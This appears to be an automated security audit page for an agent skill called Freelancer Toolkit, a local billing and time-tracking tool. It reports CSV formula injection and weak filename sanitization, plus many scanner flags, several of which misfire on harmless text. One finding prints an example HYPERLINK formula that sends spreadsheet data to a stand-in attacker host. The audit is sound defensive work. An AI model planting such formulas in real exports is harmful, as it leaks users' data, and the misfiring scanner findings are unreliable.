Back to skill

Security audit

Freelancer Toolkit

Security checks for vulnerabilities and agentic risk

Overview

This is a disclosed local freelancer bookkeeping skill with sensitive billing data handling, but I found no hidden exfiltration, backdoor persistence, or deceptive behavior.

Install only if you are comfortable storing client contact details, rates, time entries, invoices, and exports in ~/.freelancer-toolkit on the machine running your agent. Review invoice drafts before approval, be cautious opening generated CSV files in spreadsheet apps, and use the optional sudo dependency install only after confirming it is installing jq from your trusted system package manager.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (2)

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/export-timesheet.sh:63
Finding

Spreadsheet Formula Injection in CSV Exports

Content
View full analysis
= $start and .date <= $end) | if $client_filter != "" then select(($clients[.client_id] // "Unknown") | ascii_downcase | contains($client_filter | ascii_downcase)) else . end ) | sort_by(.date) | .[] | [ .date, ($clients[.client_id] // "Unknown"), ($projects[.project_id] // {name: "General"}).name, (.hours | tostring), (.description // "" | gsub(","; ";")), (.category // ""), (if .billable then "yes" else "no" end), (($projects[.project_id] // {rate: 0}).rate | tostring), (if .billable then (.hours * (($projects[.project_id] // {rate: 0}).rate)) else 0 end | tostring) ] | @csv ' "$ENTRIES_FILE" "$CLIENTS_FILE" "$PROJECTS_FILE" >> "$OUTPUT_FILE" ``` ### Technical Analysis The exporter places data-controlled text directly into CSV cells. Affected fields include client names, project names, time-entry descriptions, categories, and potentially dates. The `@csv` formatter correctly quotes CSV syntax, but CSV quoting does not stop spreadsheet applications from interpreting cell contents beginning with characters such as `=`, `+`, `-`, or `@` as formulas. For example, a description such as the following would remain a formula-capable cell after export: ```text =HYPERLINK("https://attacker.example/collect?data="&A1,"View entry") ``` Replacing commas with semicolons does not address this issue. Formula syntax and ar ...[truncated 1853 chars]
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Note
Location
scripts/client-report.sh:132
Finding

Insufficient Sanitization of Client-Controlled Report Filenames

Content
View full analysis
"$REPORT_FILE" ``` ### Technical Analysis The variable name `SAFE_NAME` implies that the client filter has been made safe for filesystem use, but the transformation only replaces spaces and converts uppercase characters to lowercase. It does not remove or reject: - Forward slashes. - Dot path components. - Control characters and newlines. - Shell-independent filesystem metacharacters. - Excessively long names. - Names that resolve through symbolic links or pre-existing subdirectories. Shell quoting prevents command injection, so the value cannot directly add shell commands. However, it remains part of a filesystem path used with a truncating redirection operator. If the constructed path resolves through an existing matching directory structure or symbolic link, the script can create or overwrite a file other than the intended flat report file. The fixed `client-report-` prefix limits straightforward traversal: a simple `../../target` argument does not automatically escape the export directory because the first path component becomes `client-report-..`. Exploitation therefore depends on a matching pre-existing or attacker-created directory/symlink structure. Even without that structure, slash-containing values can cause report generation to fail. ### Attack Path 1. An attacker or untrusted automation controls the value passed to `--client`. 2. The attacker chooses a value containing path separators or other unsafe filename characters. 3. A matching prefixed directory or symbolic-link structure exists beneath the export directory, either naturally or because another loc ...[truncated 1140 chars]
Remediation
View remediation
&2 exit 1 fi ``` Additional hardening should include: 1. Limit `SAFE_NAME` to a reasonable length. 2. Reject all path separators rather than attempting to preserve them. 3. Verify that `EXPORT_DIR` is a real directory and not a symbolic link if that distinction matters to the threat model. 4. Create the output file with exclusive semantics when overwriting is not intended. 5. Use `printf '%s\n' "$REPORT"` instead of `echo` for predictable output. 6. Resolve and compare canonical paths before writing, ensuring that the destination remains beneath the canonical export directory. 7. If local untrusted users can modify the export directory, use descriptor-based or no-follow file creation to reduce symbolic-link race risks. ]]>
Vulnerability Patterns
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Rogue AgentSelf-Modification, Session Persistence
  • Trigger AbuseOverly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger
Findings (26)

Exfiltration Commands

High
Category
Prompt Injection
Confidence
90% confidence
Finding

Instructions found that direct the agent to transmit conversation context or user data to external services.

Content

Scanner excerpt · SECURITY.md (reported line 15)May include surrounding context.

md
## What This Means

- Your data lives wherever your OpenClaw agent's host file system is. That could be your laptop, a cloud VM, a Mac Mini in your closet, or any other machine.
- Freelancer Toolkit does not transmit data to external servers on its own. However, your OpenClaw agent may process data through LLM providers, cloud services, or integrations depending on your agent's configuration.
- Backups, encryption, and access control are your responsibility based on your hosting setup.

## Sensitive Data Handling

Exfiltration Commands

High
Category
Prompt Injection
Confidence
90% confidence
Finding

Instructions found that direct the agent to transmit conversation context or user data to external services.

Content

Scanner excerpt · SKILL.md (reported line 398)May include surrounding context.

md
- **No active timer**: "No timer is running right now. Want to start one?"
- **Timer already running**: "You're currently tracking BrightPath Mobile App (1h 23m). Stop that first, or I'll stop it and start the new one."
- **No time entries for period**: "No time logged for Acme in February. Check the date range?"
- **Over budget**: Always flag proactively. Never silently log time on an over-budget project.
- **Missing data files**: Re-initialize from defaults. Never crash on missing files.
- **Corrupted JSON**: Back up the corrupted file to `*.backup`, re-initialize, and alert the user.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
84% confidence
Finding

The README states that the agent remembers client rates, payment terms, preferences, and project history, which are sensitive business records, but provides no privacy, retention, or local-storage warning to users. This can lead users to disclose confidential client and financial information without understanding where it is stored, who can access it, or how long it persists.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
88% confidence
Finding

The README promotes auto-invoicing and timesheet export features that generate files and may affect financial records, but it does not warn users about disk writes, external tool interaction, or the business consequences of incorrect output. Users may assume these operations are harmless previews when they may create artifacts used for billing or accounting, leading to erroneous invoices or recordkeeping issues.

Content

No source excerpt is available for this finding.

Vague Triggers

Medium
Category
Not specified by scanner
Confidence
86% confidence
Finding

The README advertises broad natural-language time logging such as 'I worked 3 hours on [client] today' without describing clear activation boundaries, confirmation requirements, or parsing safeguards. In an always-on or loosely triggered agent environment, ordinary conversation could be misinterpreted as a command, causing unintended creation of time records or downstream billing data corruption.

Content

No source excerpt is available for this finding.

Vague Triggers

Medium
Category
Not specified by scanner
Confidence
89% confidence
Finding

The description 'Tell your agent what you did. It handles the rest.' is overly broad and suggests the skill may act on general conversational input without scoped intent boundaries. That ambiguity increases the risk of accidental logging, reporting, or invoicing actions if the agent treats informal discussion as actionable instructions.

Content

No source excerpt is available for this finding.

External Transmission

Medium
Category
Data Exfiltration
Confidence
70% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · SECURITY.md (reported line 15)May include surrounding context.

md
## What This Means

- Your data lives wherever your OpenClaw agent's host file system is. That could be your laptop, a cloud VM, a Mac Mini in your closet, or any other machine.
- Freelancer Toolkit does not transmit data to external servers on its own. However, your OpenClaw agent may process data through LLM providers, cloud services, or integrations depending on your agent's configuration.
- Backups, encryption, and access control are your responsibility based on your hosting setup.

## Sensitive Data Handling

Sudo/Root Execution

Medium
Category
Privilege Escalation
Confidence
80% confidence
Finding

Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.

Content

Scanner excerpt · SECURITY.md (reported line 22)May include surrounding context.

md
This tool stores client contact info and financial data (rates, billed amounts, payment status). Treat the `~/.freelancer-toolkit/` directory accordingly:

- Restrict file permissions (`chmod 700 ~/.freelancer-toolkit/`)
- Include in your backup strategy
- Consider your host machine's security posture (disk encryption, access controls)
- If you're on a shared machine, other users with access to your home directory can read these files

Sudo/Root Execution

Medium
Category
Privilege Escalation
Confidence
80% confidence
Finding

Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.

Content

Scanner excerpt · SECURITY.md (reported line 42)May include surrounding context.

md
This tool stores client contact info and financial data (rates, billed amounts, payment status). Treat the `~/.freelancer-toolkit/` directory accordingly:

- Restrict file permissions (`chmod 700 ~/.freelancer-toolkit/`)
- Include in your backup strategy
- Consider your host machine's security posture (disk encryption, access controls)
- If you're on a shared machine, other users with access to your home directory can read these files

Sudo/Root Execution

Medium
Category
Privilege Escalation
Confidence
80% confidence
Finding

Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.

Content

Scanner excerpt · scripts/setup.sh (reported line 80)May include surrounding context.

sh
This tool stores client contact info and financial data (rates, billed amounts, payment status). Treat the `~/.freelancer-toolkit/` directory accordingly:

- Restrict file permissions (`chmod 700 ~/.freelancer-toolkit/`)
- Include in your backup strategy
- Consider your host machine's security posture (disk encryption, access controls)
- If you're on a shared machine, other users with access to your home directory can read these files

Intent-Code Divergence

Medium
Category
Not specified by scanner
Confidence
91% confidence
Finding

Lines L29-L33 state that all scripts in scripts/ read/write only ~/.freelancer-toolkit/ and do not make network requests. But lines L35-L37 describe invoice generation via InvoiceGen Pro as sending client and billing data into that tool's processing pipeline, which contradicts the earlier blanket claim if that integration is implemented by those scripts.

Content

No source excerpt is available for this finding.

Session Persistence

Medium
Category
Rogue Agent
Confidence
60% confidence
Finding

Skill establishes unauthorized persistence across sessions via cron jobs, startup scripts, or state files. Session persistence allows an attacker to maintain access beyond the current interaction.

Content

Scanner excerpt · SECURITY.md (reported line 30)May include surrounding context.

md
## Scripts

All scripts in `scripts/` are Bash scripts that:
- Read from and write to `~/.freelancer-toolkit/` only
- Do not make network requests
- Do not install software (except `jq` via system package manager during setup, with user confirmation)
- Use `set -euo pipefail` for safe execution

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
95% confidence
Finding

The setup prompt asks for client/company names, rates, payment terms, email, and notes, but gives no clear notice that this information may be stored in local configuration or otherwise persisted. This can cause users to disclose third-party personal and financial business data without informed consent, increasing privacy, confidentiality, and compliance risk.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
97% confidence
Finding

The prompt states that invoice data flows directly to InvoiceGen Pro for PDF generation, but does not clearly warn users that data will be shared with another product or describe what data leaves the current tool. This creates a transparency and data-sharing risk because billing and client information may be transferred externally without meaningful user awareness or consent.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
92% confidence
Finding

The skill stores sensitive client and billing data locally and explicitly supports sharing that data with other tools, but it does not present a clear privacy warning or consent boundary. Users may not realize that contact details, payment history, notes, and invoice payloads are being persisted and potentially handed off to other skills, increasing the risk of unintended disclosure.

Content

No source excerpt is available for this finding.

Session Persistence

Medium
Category
Rogue Agent
Confidence
91% confidence
Finding

The skill is designed to create and maintain persistent JSON files under the user's home directory, including client contact data, payment details, notes, and time records. Persistent storage of sensitive business data is a real security/privacy concern when retention limits, access controls, encryption, and consent mechanisms are not defined.

Content

Scanner excerpt · SKILL.md (reported line 130)May include surrounding context.

md
On first use or when data files don't exist:

1. Create `~/.freelancer-toolkit/` directory
2. Copy default `settings.json` from the skill's `config/` directory
3. Initialize empty arrays in `clients.json`, `projects.json`, `time-entries.json`
4. Initialize `timers.json` with `{"active": false}`

Session Persistence

Medium
Category
Rogue Agent
Confidence
71% confidence
Finding

Offering to create unknown clients/projects on the fly can expand persistent storage based on ambiguous conversational input, increasing the chance of accidentally retaining personal or business data the user did not intend to save. While not as severe as hidden exfiltration, it contributes to unauthorized persistence and record pollution in a skill that auto-manages structured data.

Content

Scanner excerpt · SKILL.md (reported line 178)May include surrounding context.

Date: March 10, 2026 | Billable | Rate: $85/hr ($255.00)

text

**Unknown client/project:** Offer to create on the fly. Ask for rate at minimum.

### 2. Start/Stop Timers

Vague Triggers

Medium
Category
Not specified by scanner
Confidence
90% confidence
Finding

The skill relies on broad conversational intent matching rather than narrowly scoped commands, so ordinary chat like discussing work history or asking hypothetical questions could be misinterpreted as actions such as logging time, creating clients, or exporting reports. In a skill that persists business records and can trigger invoicing/export flows, accidental activation can lead to integrity and privacy issues even without overtly malicious intent.

Content

No source excerpt is available for this finding.

Session Persistence

Medium
Category
Rogue Agent
Confidence
60% confidence
Finding

Skill establishes unauthorized persistence across sessions via cron jobs, startup scripts, or state files. Session persistence allows an attacker to maintain access beyond the current interaction.

Content

Scanner excerpt · SKILL.md (reported line 394)May include surrounding context.

md
## Error Handling

- **Ambiguous client**: "I found 2 clients matching 'Nova' — Nova Labs or Nova Design Co. Which one?"
- **No matching client**: "I don't have a client called 'Zenith'. Want me to create them?"
- **No active timer**: "No timer is running right now. Want to start one?"
- **Timer already running**: "You're currently tracking BrightPath Mobile App (1h 23m). Stop that first, or I'll stop it and start the new one."
- **No time entries for period**: "No time logged for Acme in February. Check the date range?"

Intent-Code Divergence

Medium
Category
Not specified by scanner
Confidence
77% confidence
Finding

The document states that all widgets read local JSON files and make no external API calls. However, the widget mockup includes a "Generate Invoice" action, which suggests triggering invoice creation or an external integration rather than purely reading local data for display.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
87% confidence
Finding

The script writes a client billing report containing potentially sensitive financial and contact information to a persistent file under the user's home directory without any explicit warning, confirmation, or permission hardening. In a freelancing/billing context, this increases the risk of unintended disclosure through backups, shared accounts, loose filesystem permissions, or later exfiltration by other local processes.

Content

No source excerpt is available for this finding.

Sudo/Root Execution

Medium
Category
Privilege Escalation
Confidence
70% confidence
Finding

Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.

Content

Scanner excerpt · scripts/setup.sh (reported line 22)May include surrounding context.

sh
if [[ "$(uname)" == "Darwin" ]]; then
        echo "     brew install jq"
    else
        echo "     sudo apt-get install jq  (Debian/Ubuntu)"
        echo "     sudo yum install jq      (RHEL/CentOS)"
    fi
    echo ""

Sudo/Root Execution

Medium
Category
Privilege Escalation
Confidence
70% confidence
Finding

Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.

Content

Scanner excerpt · scripts/setup.sh (reported line 23)May include surrounding context.

sh
if [[ "$(uname)" == "Darwin" ]]; then
        echo "     brew install jq"
    else
        echo "     sudo apt-get install jq  (Debian/Ubuntu)"
        echo "     sudo yum install jq      (RHEL/CentOS)"
    fi
    echo ""

Sudo/Root Execution

Medium
Category
Privilege Escalation
Confidence
76% confidence
Finding

This script can invoke sudo apt-get install -y jq, causing a setup routine to trigger privileged package installation. While user-confirmed and common in installers, any agent-executed skill that escalates privileges expands the trust boundary and could be abused if the script or package source is modified or if users do not fully understand they are authorizing root-level changes.

Content

Scanner excerpt · scripts/setup.sh (reported line 31)May include surrounding context.

sh
if [[ "$(uname)" == "Darwin" ]] && command -v brew &>/dev/null; then
            brew install jq
        elif command -v apt-get &>/dev/null; then
            sudo apt-get install -y jq
        elif command -v yum &>/dev/null; then
            sudo yum install -y jq
        else

Sudo/Root Execution

Medium
Category
Privilege Escalation
Confidence
76% confidence
Finding

This branch similarly executes sudo yum install -y jq, allowing the setup process to perform root-level package installation. In an agent skill context, embedded privilege escalation is more sensitive because users may run setup scripts with limited review, making unintended system modification more dangerous.

Content

Scanner excerpt · scripts/setup.sh (reported line 33)May include surrounding context.

sh
elif command -v apt-get &>/dev/null; then
            sudo apt-get install -y jq
        elif command -v yum &>/dev/null; then
            sudo yum install -y jq
        else
            echo "❌ Could not detect package manager. Install jq manually and re-run."
            exit 1